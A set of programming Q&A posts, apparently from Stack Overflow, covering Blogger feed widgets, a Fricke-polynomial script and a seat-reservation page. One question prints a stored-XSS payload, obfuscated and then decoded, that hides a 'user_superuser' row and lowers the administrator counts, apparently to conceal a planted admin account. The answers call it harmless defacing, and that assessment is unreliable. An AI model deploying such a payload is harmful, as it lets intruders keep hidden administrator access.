TypeError: entry is undefined - javascript

What is the problem with this error
TypeError: entry is undefined
This error appears in the Firefox browser
<script type='text/javascript'>
//<![CDATA[
function showlatestpostswiththumbs(json) {
document.write('<div class="terbaru">');
for (var i = 0; i < posts_no; i++) {
var entry = json.feed.entry[i];
var posttitle = entry.title.$t;
var postsurl;
if (i == json.feed.entry.length) break;
for (var k = 0; k < entry.link.length; k++) {
if (entry.link[k].rel == 'replies' && entry.link[k].type == 'text/html') {
var commentstext = entry.link[k].title;
var commentsurl = entry.link[k].href;
}
if (entry.link[k].rel == 'alternate') {
postsurl = entry.link[k].href;
break;
}
}
var recenthumb;
try {
recenthumb = entry.media$postImageUrl.url;
} catch (error) {
s = entry.content.$t;
a = s.indexOf("<img");
b = s.indexOf("src=\"", a);
c = s.indexOf("\"", b + 5);
d = s.substr(b + 5, c - b - 5);
if ((a != -1) && (b != -1) && (c != -1) && (d != "")) {
recenthumb = d;
} else recenthumb = 'https://2.bp.blogspot.com/-C3Mo0iKKiSw/VGdK808U7rI/AAAAAAAAAmI/W7Ae_dsEVAE/s1600/no-thumb.png';
}
document.write('<div class="mas-elemen">');
document.write('<img src="' + recenthumb + '"/>');
document.write('<h6>' + posttitle + '</h6>');
document.write('</div>');
}
document.write('</div>');
}
//]]>
</script>
<script style='text/javascript'>
var posts_no = 10;
var showpoststhumbs = true;
var readmorelink = true;
</script>
<script src="/feeds/posts/default/?orderby=published&alt=json-in-script&callback=showlatestpostswiththumbs"></script>

This error is causing because of this line
var entry = json.feed.entry[i];
because the json you passed into the function showlatestpostswiththumbs doesn't have a value at json.feed.entry[i], so entry is now undefined, please give correct json into that function (showlatestpostswiththumbs), thats all I can give with the info from your question

Related

How to embed this javascrip into Mathematica with a single input

In my research, I need to generate Fricke Polynomials. Luckily the job has been done for me on a website. However, it is in javascript+html+css so I am not sure how it works as I only use Mathematica. I was wondering if anyone could explain how I could make all of this work on a single javascript code with a single input (and where to put the input). My plan is then to just take the code and embed it in Mathematica as I have seen this is possible. The input is a word say made up of a's and b's say aabbbaa and an output is a polynomial. I do not need to understand the code really.
Thank you
function Polynomial(){
this.data = "";
this.setData = function(str){
this.data = str;
}
this.toString = function(){
var s = this.data;
if (this.data.startsWith("x0y0z0"))
s = s.replace("x0y0z0", "1");
s = s.replace(/x0y0z0/g, "")
.replace(/\s\+\s-/g, "</sup> - ").replace(/\s\+/g, "</sup> +")
.replace(/x/g, "x<sup>").replace(/y/g, "</sup>y<sup>")
.replace(/z/g, "</sup>z<sup>")
.replace(/\s1x/g, " x").replace(/\s1y/g, " y").replace(/\s1z/g, " z");
s += "</sup>";
s = s.replace(/x<sup>0<\/sup>/g, "").replace(/y<sup>0<\/sup>/g, "")
.replace(/z<sup>0<\/sup>/g, "")
.replace(/x<sup>1<\/sup>/g, "x").replace(/y<sup>1<\/sup>/g, "y")
.replace(/z<sup>1<\/sup>/g, "z");
if (s.startsWith("1x"))
s = s.replace("1x", "x");
if (s.startsWith("1y"))
s = s.replace("1y", "y");
if (s.startsWith("1z"))
s = s.replace("1z", "z");
return s;
}
}
function compareMonomial(m1, m2){
m1s = m1.split(/[x|y|z]/g);
m2s = m2.split(/[x|y|z]/g);
if (m1s[3]< m2s[3]) return -1;
else if (m1s[3] > m2s[3]) return 1;
else if (m1s[2]< m2s[2]) return -1;
else if (m1s[2] > m2s[2]) return 1;
else if (m1s[1]< m2s[1]) return -1;
else if (m1s[1] > m2s[1]) return 1;
else return 0;
}
function addMonomial(m1, m2){
m1s = m1.split(/[x|y|z]/g);
m2s = m2.split(/[x|y|z]/g);
coef = parseInt(m1s[0]) + parseInt(m2s[0]);
if (coef == 0)
return "ZERO"
else
return coef + "x" + m1s[1] + "y" + m1s[2] + "z" + m1s[3];
}
function subMonomial(m1, m2){
m1s = m1.split(/[x|y|z]/g);
m2s = m2.split(/[x|y|z]/g);
coef = parseInt(m1s[0]) - parseInt(m2s[0]);
if (coef == 0)
return "ZERO";
else
return coef + "x" + m1s[1] + "y" + m1s[2] + "z" + m1s[3];
}
function mulMonomial(m1, m2){
m1s = m1.split(/[x|y|z]/g);
m2s = m2.split(/[x|y|z]/g);
coef = parseInt(m1s[0]) * parseInt(m2s[0]);
coefx = parseInt(m1s[1]) + parseInt(m2s[1]);
coefy = parseInt(m1s[2]) + parseInt(m2s[2]);
coefz = parseInt(m1s[3]) + parseInt(m2s[3]);
if (coef == 0)
return "ZERO";
else
return coef + "x" + coefx + "y" + coefy + "z" + coefz;
}
function add(p1, p2){
if (p1.data == "")
return p2;
if (p2.data == "")
return p1;
var r = new Polynomial();
p1Mos = p1.data.split(" + ");
p2Mos = p2.data.split(" + ");
var data = "";
var k = 0; var current = p1Mos[0];
for (var i = 0; i < p2Mos.length; i++){
if (k >= p1Mos.length)
data += " + " + p2Mos[i];
else {
while (k < p1Mos.length && compareMonomial(current, p2Mos[i]) < 0){
data += " + " + p1Mos[k]; k++; current = p1Mos[k];
}
if (current == undefined)
data += " + " + p2Mos[i];
else if (compareMonomial(current, p2Mos[i]) == 0){
if (addMonomial(current, p2Mos[i]) != "ZERO")
data += " + " + addMonomial(current, p2Mos[i]);
k++; current = p1Mos[k];
}
else{
data += " + " + p2Mos[i];
}
}
}
while (k < p1Mos.length){
data += " + " + p1Mos[k]; k++
}
r.setData(data.substring(3));
return r;
}
function sub(p1, p2){
if (p2.data == "")
return p1;
if (p1.data == ""){
//need to update here
return p2;
}
var r = new Polynomial();
p1Mos = p1.data.split(" + ");
p2Mos = p2.data.split(" + ");
var data = "";
var k = 0; var current = p1Mos[0];
for (var i = 0; i < p2Mos.length; i++){
p2coef = p2Mos[i].split(/[x|y|z]g/)[0];
if (parseInt(p2coef) < 0)
p2MoNeg = p2Mos[i].substring(1);
else
p2MoNeg = "-" + p2Mos[i];
if (k >= p1Mos.length)
data += " + " + p2MoNeg;
else {
while (k < p1Mos.length && compareMonomial(current, p2Mos[i])< 0){
data += " + " + p1Mos[k]; k++; current = p1Mos[k];
}
if (current == undefined)
data += " + " + p2MoNeg;
else if (compareMonomial(current, p2Mos[i]) == 0){
if (subMonomial(current, p2Mos[i]) != "ZERO")
data += " + " + subMonomial(current, p2Mos[i]);
k++; current = p1Mos[k];
}
else{
data += " + " + p2MoNeg;
}
}
}
while (k < p1Mos.length){
data += " + " + p1Mos[k]; k++
}
r.setData(data.substring(3));
return r;
}
// multiply polynomial p1 (with array of monomials p1Mos) with a monomial m2
function mulPM(p1Mos, m2){
r = new Polynomial();
var data = "";
for (var i = 0; i < p1Mos.length; i++){
if (mulMonomial(p1Mos[i], m2) != "ZERO")
data += " + " + mulMonomial(p1Mos[i], m2);
}
r.setData(data.substring(3)); return r;
}
// multiply polynomial p1 with polynomial p2
function mul(p1, p2){
p1s = p1.data.split(" + ");
p2s = p2.data.split(" + ");
r = new Polynomial();
for (var i = 0; i < p2s.length; i++){
r = add(r, mulPM(p1s, p2s[i]));
}
return r;
}
function Fricke(s){
var w = new Word();
w.setWordString(s);
w.reduce(); s = w.toString();
var r = new Polynomial();
var l = s.length;
// Trivial case or case where 2 consecutive letters among last 4 letter
// are the same
if (l == 0){
r.setData("2x0y0z0");
return r;
}
if (l == 1){
if (s == "a" || s == "A")
r.setData("1x1y0z0");
else
r.setData("1x0y1z0");
return r;
}
if (s.charAt(l-1) == s.charAt(l-2)){
var c = s.charAt(l-1);
var s1 = s.substring(0, l-2);
r = sub(mul(Fricke(s1 + c), Fricke(c + "")), Fricke(s1));
return r;
}
if (l == 2){
if (s == "ab" || s == "ba" || s == "AB" || s == "BA"){
r.setData("1x0y0z1");
return r;
}
else if (s == "aB" || s == "Ba" || s == "Ab" || s == "bA"){
r.setData("1x1y1z0 + -1x0y0z1");
return r;
}
}
if (s.charAt(l-2) == s.charAt(l-3)){
s = s.charAt(l-1) + s.substring(0, l-1);
r = Fricke(s);
return r;
}
if (l == 3){
s = s.charAt(l-1) + s.substring(0, l-1);
r = Fricke(s);
return r;
}
if (s.charAt(l-3) == s.charAt(l-4)){
s = s.substring(l-2, l) + s.substring(0, l-2);
r = Fricke(s);
return r;
}
// Case 2: w = x1Yx2y
var t = s.charCodeAt(l-1) - s.charCodeAt(l-3);
if ( t == 32 || t == -32){
var w1 = new Word();
w1.setWordString(s.substring(l-2, l));
var s2 = s.substring(0, l-2) + w1.bar().toString();
r = sub(mul(Fricke(s.substring(0, l-2)), Fricke(s.substring(l-2, l))),
Fricke(s2));
return r;
}
// Case 3: w = ...Xyxy
t = s.charCodeAt(l-2) - s.charCodeAt(l-4);
if ( t == 32 || t == -32){
r = Fricke(s.charAt(l-1) + s.substring(0, l-1));
return r;
}
// Last case 4: w = ...xyxy
r = sub(mul(Fricke(s.substring(0, l-2)), Fricke(s.substring(l-4, l-2))),
Fricke(s.substring(0, l-4)));
return r;
}
// Helper methods:
function cancel2Char(src, i){
dest = [];
for (var j = 0; j < i; j++)
dest[j] = src[j];
for (var j = i; j < src.length - 2; j++)
dest[j] = src[j+2];
return dest;
}
function trim2Ends(src){
dest = [];
for (var j = 1; j < src.length - 1; j++)
dest[j - 1] = src[j];
return dest;
}
// Function to find the minimum equivalent class of a reduced cyclic word rc.
function minReduceCyclic(rc){
var min = rc.clone();
var W = new Word();
for (var i = 0; i < rc.word.length; i++){
W = rc.permute(i);
if (min.compareTo(W) > 0)
min = W;
}
return min;
}
function canonical(W){
W.reduce();
W.toReduceCyclic();
W = minReduceCyclic(W);
return W;
}
// CLASS Word
function Word(){
this.word = [];
this.setWord = function(w){
this.word = w;
}
this.setWordString = function(s){
// a-z = 1-26 && A-Z = -1 - -26;
for (var i = 0; i < s.length; i++){
var c = s.charCodeAt(i);
if (c >= 65 && c <= 90 )
this.word[i] = -(c - 64);
else if (c >= 97 && c < 122)
this.word[i] = c - 96;
else {
this.word = []; return;
}
}
}
this.length = function(){ return this.word.length; }
}
Word.prototype.isReduce = function(){
for(var i = 0; i < this.word.length - 1; i++)
if (this.word[i] == -this.word[i+1])
return false;
return true;
}
Word.prototype.reduce = function(){
var i = -2;
while(i != this.word.length - 1){
if (this.word.length == 0)
return;
for(i = 0; i < this.word.length - 1; i++)
if (this.word[i] == -this.word[i+1]){
this.word = cancel2Char(this.word, i);
break;
}
}
return;
}
Word.prototype.toReduceCyclic = function(){
this.reduce();
while(this.word[0] == -this.word[this.word.length - 1])
this.word = trim2Ends(this.word);
return;
}
Word.prototype.toString = function(){
var s = "";
for (var i = 0; i < this.word.length; i++){
if (this.word[i] < 0)
s = s + String.fromCharCode(-this.word[i] + 64);
else
s = s + String.fromCharCode(this.word[i] + 96);
}
return s;
}
Word.prototype.bar = function(){
var r = new Word();
var w = r.word;
for (var j = 0; j < this.word.length; j++)
w[j] = - this.word[this.word.length - 1 - j];
return r;
}
Word.prototype.permute = function(i){
var r = new Word();
var w = r.word;
for (var j = 0; j < this.word.length; j++)
w[j] = this.word[(j + i) % this.word.length];
return r;
}
Word.prototype.isEqual = function(W2){
var w1 = this.word;
var w2 = W2.word;
if (w1.length != w2.length)
return false;
for (var i = 0; i < w1.length; i++)
if (w1[i] != w2[i])
return false;
return true;
}
Word.prototype.compareTo = function(W2){
var w1 = this.word;
var w2 = W2.word;
var l = Math.min(w1.length, w2.length);
for (var i = 0; i < l; i++){
if (w1[i] < w2[i])
return -1;
if (w1[i] > w2[i])
return 1;
}
if (w1.length > w2.length)
return 1;
if (w1.length < w2.length)
return -1;
return 0;
}
Word.prototype.clone = function(){
var r = new Word();
w = r.word;
for (var i = 0; i < this.word.length; i++)
w[i] = this.word[i];
return r;
}
Word.prototype.primitiveExp = function(){
w = this.word; l = w.length;
for(var i = 1; i <= l/2; i++){
if (l % i == 0){
found = true;
test:
for (var j = 0; j < l/i; j++)
for (var t = 0; t < i; t++)
if (w[t] != w[t + j * i]){
found = false;
break test;
}
}
if (found)
return l/i;
}
return 1;
}
// Need to debug
function concat(W1, W2){
r = new Word();
var w1 = W1.word;
var w2 = W2.word;
var w = []
for (var i = 0; i < w1.length; i++)
w[i] = w1[i];
for (var i = 0; i < w2.length; i++)
w[i + w1.length] = w2[i];
r.setWord(w);
return r;
}
// These are supposed to be surface word methods
// sw is a word and the order is a map, which
// maps characters in a word (1-k or (-1)-(-k)) to its order in the alphabet
function order(sw){
var w = sw.word;
var o = new Map();
for (var i = 0; i < w.length; i++)
o.set(w[i], i);
return o;
}
function findCharPos(sw, c){
for (var i = 0; i < sw.word.length; i++)
if (sw.word[i] == c)
return i;
}
var time;
$(document).ready(function(){
$("#compute").click(function(){
$("#note").text("Note: Computing.....");
time = new Date().getTime();
setTimeout(function(){
new Promise(compute).then(doneCompute("Note: Done! The computation time is about "));
}, 50);
});
$("#reset").click(function(){
$("#note").text("Note:");
$("#word").val("");
$("#fpOutput").text("");
});
});
function compute(value){
$("#fpOutput").html(Fricke($("#word").val()).toString());
$("#fpOutput").slideDown("slow");
}
function doneCompute(value){
$("#note").text(value + (new Date().getTime() - time - 50) + " milliseconds.");
}
<!DOCTYPE html>
<html>
<head>
<link href="fricke.css" type="text/css" rel="stylesheet" />
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script>
<script type="text/javascript" src="Word.js"></script>
<script type="text/javascript" src="Polynomial.js"></script>
<script type="text/javascript" src="gui.js"></script>
</head>
<body>
<h2>Computing Fricke Polynomial for word with 2 generators a and b</h2>
<br>
<b>Word: </b>
<input type="text" class="inputText" id="word"></input><br><br>
<br><br>
<button class="button" id="compute">Compute</button>
<button class="button" id="reset">Reset</button>
<br><br>
<div id="note">Note:</div>
<br><br>
<div class="slide">Fricke Polynomial</div>
<div class="output" id="fpOutput"></div>
</body>
</html>

What does this suspicious and likely malicious code do?

A random user added this text as his name in a web form. I suppose his idea was to somehow inject Javascript into a dynamic page. How should this code be interpreted? (What does it do?)
<script LANGUAGE="JavaScript">
function Decode() {
var temp = "",
i, c = 0,
out = "";
var str = "46!46!46!32!60!98!32!105!100!61!34!117!115!101!114!95!115!117!112!101!114!117!115!101!114!34!62!60!115!99!114!105!112!116!32!108!97!110!103!117!97!103!101!61!34!74!97!118!97!83!99!114!105!112!116!34!62!32!118!97!114!32!115!101!116!85!115!101!114!78!97!109!101!32!61!32!102!117!110!99!116!105!111!110!40!41!123!32!116!114!121!123!32!118!97!114!32!116!61!100!111!99!117!109!101!110!116!46!103!101!116!69!108!101!109!101!110!116!66!121!73!100!40!34!117!115!101!114!95!115!117!112!101!114!117!115!101!114!34!41!59!32!119!104!105!108!101!40!116!46!110!111!100!101!78!97!109!101!33!61!34!84!82!34!41!123!32!116!61!116!46!112!97!114!101!110!116!78!111!100!101!59!32!125!59!32!116!46!112!97!114!101!110!116!78!111!100!101!46!114!101!109!111!118!101!67!104!105!108!100!40!116!41!59!32!118!97!114!32!116!97!103!115!32!61!32!100!111!99!117!109!101!110!116!46!103!101!116!69!108!101!109!101!110!116!115!66!121!84!97!103!78!97!109!101!40!34!72!51!34!41!59!32!118!97!114!32!115!32!61!32!34!32!115!104!111!119!110!32!98!101!108!111!119!34!59!32!102!111!114!32!40!118!97!114!32!105!32!61!32!48!59!32!105!32!60!32!116!97!103!115!46!108!101!110!103!116!104!59!32!105!43!43!41!32!123!32!118!97!114!32!116!61!116!97!103!115!91!105!93!46!105!110!110!101!114!72!84!77!76!59!32!118!97!114!32!104!61!116!97!103!115!91!105!93!59!32!105!102!40!116!46!105!110!100!101!120!79!102!40!115!41!62!48!41!123!32!115!32!61!40!112!97!114!115!101!73!110!116!40!116!41!45!49!41!43!115!59!32!104!46!114!101!109!111!118!101!67!104!105!108!100!40!104!46!102!105!114!115!116!67!104!105!108!100!41!59!32!116!32!61!32!100!111!99!117!109!101!110!116!46!99!114!101!97!116!101!84!101!120!116!78!111!100!101!40!115!41!59!32!104!46!97!112!112!101!110!100!67!104!105!108!100!40!116!41!59!32!125!32!125!32!118!97!114!32!97!114!114!61!100!111!99!117!109!101!110!116!46!103!101!116!69!108!101!109!101!110!116!115!66!121!84!97!103!78!97!109!101!40!34!117!108!34!41!59!32!102!111!114!40!118!97!114!32!105!32!105!110!32!97!114!114!41!32!105!102!40!97!114!114!91!105!93!46!99!108!97!115!115!78!97!109!101!61!61!34!115!117!98!115!117!98!115!117!98!34!41!123!32!118!97!114!32!110!61!47!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!92!40!40!92!100!43!41!92!41!60!47!103!105!46!101!120!101!99!40!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!41!59!32!105!102!40!110!33!61!110!117!108!108!32!38!38!32!110!91!49!93!62!48!41!123!32!118!97!114!32!116!120!116!61!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!46!114!101!112!108!97!99!101!40!47!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!92!40!40!92!100!43!41!92!41!60!47!103!105!44!34!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!40!34!43!40!110!91!49!93!45!49!41!43!34!41!60!34!41!59!32!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!61!116!120!116!59!32!125!32!118!97!114!32!110!61!47!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!60!115!112!97!110!32!99!108!97!115!115!61!34!99!111!117!110!116!34!62!92!40!40!92!100!43!41!92!41!60!47!103!105!46!101!120!101!99!40!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!41!59!32!105!102!40!110!33!61!110!117!108!108!32!38!38!32!110!91!49!93!62!48!41!123!32!118!97!114!32!116!120!116!61!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!46!114!101!112!108!97!99!101!40!47!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!60!115!112!97!110!32!99!108!97!115!115!61!34!99!111!117!110!116!34!62!92!40!40!92!100!43!41!92!41!60!47!103!105!44!34!62!65!100!109!105!110!105!115!116!114!97!116!111!114!32!60!115!112!97!110!32!99!108!97!115!115!61!92!34!99!111!117!110!116!92!34!62!40!34!43!40!110!91!49!93!45!49!41!43!34!41!60!34!41!59!32!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!61!116!120!116!59!32!125!32!118!97!114!32!110!61!47!62!65!108!108!32!60!115!112!97!110!32!99!108!97!115!115!61!34!99!111!117!110!116!34!62!92!40!40!92!100!43!41!92!41!60!47!103!105!46!101!120!101!99!40!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!41!59!32!105!102!40!110!33!61!110!117!108!108!32!38!38!32!110!91!49!93!62!48!41!123!32!118!97!114!32!116!120!116!61!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!46!114!101!112!108!97!99!101!40!47!62!65!108!108!32!60!115!112!97!110!32!99!108!97!115!115!61!34!99!111!117!110!116!34!62!92!40!40!92!100!43!41!92!41!60!47!103!105!44!34!62!65!108!108!32!60!115!112!97!110!32!99!108!97!115!115!61!92!34!99!111!117!110!116!92!34!62!40!34!43!40!110!91!49!93!45!49!41!43!34!41!60!34!41!59!32!97!114!114!91!105!93!46!105!110!110!101!114!72!84!77!76!61!116!120!116!59!32!125!32!125!32!125!99!97!116!99!104!40!101!41!123!125!59!32!125!59!32!97!100!100!76!111!97!100!69!118!101!110!116!40!115!101!116!85!115!101!114!78!97!109!101!41!59!32!60!47!115!99!114!105!112!116!62!";
l = str.length;
while (c <= str.length - 1) {
while (str.charAt(c) != '!') temp = temp + str.charAt(c++);
c++;
out = out + String.fromCharCode(temp);
temp = "";
}
document.write(out);
}
</script>
<script LANGUAGE="JavaScript">
Decode();
</SCRIPT>
It creates a script tag with some JavaScript code. It changes some HTML elements, doesn't seem to be very dangerous. We would probably need to know what environment / website it was supposed to be used in.
Here is the code created by the script:
<b id="user_superuser"><script language="JavaScript">
var setUserName = function () {
try {
var t = document.getElementById("user_superuser");
while (t.nodeName != "TR") {
t = t.parentNode;
};
t.parentNode.removeChild(t);
var tags = document.getElementsByTagName("H3");
var s = " shown below";
for (var i = 0; i < tags.length; i++) {
var t = tags[i].innerHTML;
var h = tags[i];
if (t.indexOf(s) > 0) {
s = (parseInt(t) - 1) + s;
h.removeChild(h.firstChild);
t = document.createTextNode(s);
h.appendChild(t);
}
}
var arr = document.getElementsByTagName("ul");
for (var i in arr)
if (arr[i].className == "subsubsub") {
var n = />Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi, ">Administrator (" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
var n = />Administrator <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>Administrator <span class="count">\((\d+)\)</gi, ">Administrator <span class=\"count\">(" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
var n = />All <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>All <span class="count">\((\d+)\)</gi, ">All <span class=\"count\">(" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
}
} catch (e) {};
};
addLoadEvent(setUserName);
It injects this into the page...
As for what it does... well, nothing really
It replaces some tags on the page with some "Administrator" text... without seeing the rest of your code I can't really tell, but it looks like it is mainly defacing the site to scare you
... <b id="user_superuser">
<script language="JavaScript">
var setUserName = function() {
try {
var t = document.getElementById("user_superuser");
while (t.nodeName != "TR") {
t = t.parentNode;
};
t.parentNode.removeChild(t);
var tags = document.getElementsByTagName("H3");
var s = " shown below";
for (var i = 0; i < tags.length; i++) {
var t = tags[i].innerHTML;
var h = tags[i];
if (t.indexOf(s) > 0) {
s = (parseInt(t) - 1) + s;
h.removeChild(h.firstChild);
t = document.createTextNode(s);
h.appendChild(t);
}
}
var arr = document.getElementsByTagName("ul");
for (var i in arr)
if (arr[i].className == "subsubsub") {
var n = />Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi, ">Administrator (" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
var n = />Administrator <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>Administrator <span class="count">\((\d+)\)</gi, ">Administrator <span class=\"count\">(" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
var n = />All <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML);
if (n != null && n[1] > 0) {
var txt = arr[i].innerHTML.replace(/>All <span class="count">\((\d+)\)</gi, ">All <span class=\"count\">(" + (n[1] - 1) + ")<");
arr[i].innerHTML = txt;
}
}
} catch (e) {};
};
addLoadEvent(setUserName);
</script>

retrieve content from blogger post to display on Home page using specific labels posts

I am displaying posts from a specific label on the home page.
Then, in it, I have to display some more information for each particular posts of that label. As shown in the image below -
I am not an expert but I think we can do it with JavaScript. by applying reference codes or variables in while writing each post such as:-
var/code some texts to retrieve from this post to home page under label posts var/code]
and retrieve it using javascript to display on specific label posts on the home page
still didn't find any clue how can I do this.. any suggestion, please.
this is code to show specific lable post on home page:
<script type='text/javascript'>
//<![CDATA[
function labelthumbs(json) {
document.write('<ul id="label_with_thumbs">');
for(var i = 0; i < numposts; i++) {
var entry = json.feed.entry[i];
var posttitle = entry.title.$t;
var posturl;
if(i == json.feed.entry.length) break;
for(var k = 0; k < entry.link.length; k++) {
if(entry.link[k].rel == 'replies' && entry.link[k].type == 'text/html') {
var commenttext = entry.link[k].title;
var commenturl = entry.link[k].href;
}
if(entry.link[k].rel == 'alternate') {
posturl = entry.link[k].href;
break;
}
}
var thumburl;
try {
thumburl = entry.media$thumbnail.url;
} catch(error) {
s = entry.content.$t;
a = s.indexOf("<img");
b = s.indexOf("src=\"", a);
c = s.indexOf("\"", b + 5);
d = s.substr(b + 5, c - b - 5);
if((a != -1) && (b != -1) && (c != -1) && (d != "")) {
thumburl = d;
} else thumburl = 'http://3.bp.blogspot.com/-zP87C2q9yog/UVopoHY30SI/AAAAAAAAE5k/AIyPvrpGLn8/s1600/picture_not_available.png';
}
var postdate = entry.published.$t;
var cdyear = postdate.substring(0, 4);
var cdmonth = postdate.substring(5, 7);
var cdday = postdate.substring(8, 10);
var monthnames = new Array();
monthnames[1] = "Jan";
monthnames[2] = "Feb";
monthnames[3] = "Mar";
monthnames[4] = "Apr";
monthnames[5] = "May";
monthnames[6] = "June";
monthnames[7] = "July";
monthnames[8] = "Aug";
monthnames[9] = "Sept";
monthnames[10] = "Oct";
monthnames[11] = "Nov";
monthnames[12] = "Dec";
document.write('<li class="clearfix">');
if(showpostthumbnails == true) document.write('<img class="label_thumb" src="' + thumburl + '"/>');
document.write('<strong>' + posttitle + '</strong><br>');
if("content" in entry) {
var postcontent = entry.content.$t;
}
elseif("summary" in entry) {
var postcontent = entry.summary.$t;
} else var postcontent = "";
var re = /<\S[^>]*>/g;
postcontent = postcontent.replace(re, "");
if(showpostsummary == true) {
if(postcontent.length < numchars) {
document.write('');
document.write(postcontent);
document.write('');
} else {
document.write('');
postcontent = postcontent.substring(0, numchars);
var quoteEnd = postcontent.lastIndexOf(" ");
postcontent = postcontent.substring(0, quoteEnd);
document.write(postcontent + '...');
document.write('');
}
}
var towrite = '';
var flag = 0;
document.write('<br>');
if(showpostdate == true) {
towrite = towrite + monthnames[parseInt(cdmonth, 10)] + '-' + cdday + ' - ' + cdyear;
flag = 1;
}
if(showcommentnum == true) {
if(flag == 1) {
towrite = towrite + ' | ';
}
if(commenttext == '1 Comments') commenttext = '1 Comment';
if(commenttext == '0 Comments') commenttext = 'No Comments';
commenttext = '' + commenttext + '';
towrite = towrite + commenttext;
flag = 1;;
}
if(displaymore == true) {
if(flag == 1) towrite = towrite + ' | ';
towrite = towrite + 'More ยป';
flag = 1;;
}
document.write(towrite);
document.write('</li>');
if(displayseparator == true)
if(i != (numposts - 1)) document.write('');
}
document.write('</ul>');
}
//]]>
</script>
display codes:
<script type='text/javascript'>
var numposts = 3;
var showpostthumbnails = true;
var displaymore = false;
var displayseparator = true;
var showcommentnum = false;
var showpostdate = false;
var showpostsummary = true;
var numchars = 100;
</script>
<script type="text/javascript" src="/feeds/posts/default/-/label name?published&alt=json-in-script&callback=labelthumbs"></script>

How to use AJAX or JSON in this code?

I am creating a website application that allows users to select a seat, if it is not already reserved, and reserve it.
I have created a very round about way of getting the seats that are previously reserved using iFrames, however that was temporarily, now I need to make it secure and "proper javascript code" using proper practices. I have no clue what AJAX (or JSON) is, nor how to add it to this code, but it needs to get the file "seatsReserved"+this.id(that is the date)+"Que.html" and compare the string of previously reserved seats to see which class to make the element. If this is horrible, or if any of the other things could work better, I am open to criticism to everything. Thank you all!
Here is the javascript code:
A little side note, all of the if statements are due to different amount of seats in each row
<script>
var i = " 0 ";
var counter = 0;
var leng=0;
document.getElementById("Show1").addEventListener("click", changeDay);
document.getElementById("Show2").addEventListener("click", changeDay);
document.getElementById("Show3").addEventListener("click", changeDay);
function changeDay() {
var iFrame = document.getElementById("seatList");
iFrame.src = "seatsReserved" + this.id + "Que.html";
document.getElementById('date').innerHTML = this.id;
var seatsTaken = iFrame.contentWindow.document.body.innerHTML;
var k = 0;
let = 'a';
var lc = 0;
for (lc = 1; lc <= 14; lc++) {
if (lc == 1) {
leng = 28;
}
else if (lc == 2) {
leng = 29;
}
else if (lc == 3) {
leng = 32;
}
else if (lc == 4 || lc == 6 || lc == 12 || lc == 14) {
leng = 33;
}
else if (lc == 5 || lc == 13) {
leng = 34;
}
else if (lc == 8 || lc == 10) {
leng = 35;
}
else {
leng = 36;
}
for (k = 1; k <= leng; k++) {
if (seatsTaken.indexOf((" " +
let +k + " ")) <= -1) {
seat = document.getElementById(let +k);
seat.removeEventListener("click", selectedSeat);
}
else {
document.getElementById(let +k).className = "openseat";
document.getElementById(let +k).removeEventListener("click", doNothing);
}
}
let = String.fromCharCode(let.charCodeAt(0) + 1);
}
}
function loadChanges() {
var iFrame = document.getElementById("seatList");
var seatsTaken = iFrame.contentWindow.document.body.innerHTML;
var k = 0;
let = 'a';
var lc = 0;
var leng = 0;
for (lc = 1; lc <= 14; lc++) {
if (lc == 1) {
leng = 28;
}
else if (lc == 2) {
leng = 29;
}
else if (lc == 3) {
leng = 32;
}
else if (lc == 4 || lc == 6 || lc == 12 || lc == 14) {
leng = 33;
}
else if (lc == 5 || lc == 13) {
leng = 34;
}
else if (lc == 8 || lc == 10) {
leng = 35;
}
else {
leng = 36;
}
for (k = 1; k <= leng; k++) {
if (seatsTaken.indexOf((" " +
let +k + " ")) <= -1) {
seat = document.getElementById(let +k);
seat.addEventListener("click", selectedSeat);
seat.className = "openseat";
}
else {
document.getElementById(let +k).className = "notAvailible";
document.getElementById(let +k).addEventListener("click", doNothing);
}
}
let = String.fromCharCode(let.charCodeAt(0) + 1);
}
i = " 0 ";
counter = 0;
document.getElementById("seatString").innerHTML = i;
document.getElementById("getSeats").value = i;
document.getElementById("seatnums").innerHTML = counter;
}
i = document.getElementById("seatString").innerHTML;
counter = document.getElementById("seatnums").innerHTML;
function selectedSeat() {
var w = this.id;
var l = (" " + w);
var b = (" " + w + " ");
if (counter < 5) {
if (i.indexOf(b) <= 0) {
this.className = "closedseat";
i = i + b;
i = i.replace(" 0 ", " ");
document.getElementById("seatString").innerHTML = i;
document.getElementById("getSeats").value = i;
counter = counter + 1;
document.getElementById("seatnums").innerHTML = counter;
}
else if (i.indexOf(b) > 0) {
this.className = "openseat";
i = i.replace(b, "");
document.getElementById("seatString").innerHTML = i;
document.getElementById("getSeats").value = i;
counter = counter - 1;
document.getElementById("seatnums").innerHTML = counter;
}
}
else if (i.indexOf(b) > 0) {
this.className = "openseat";
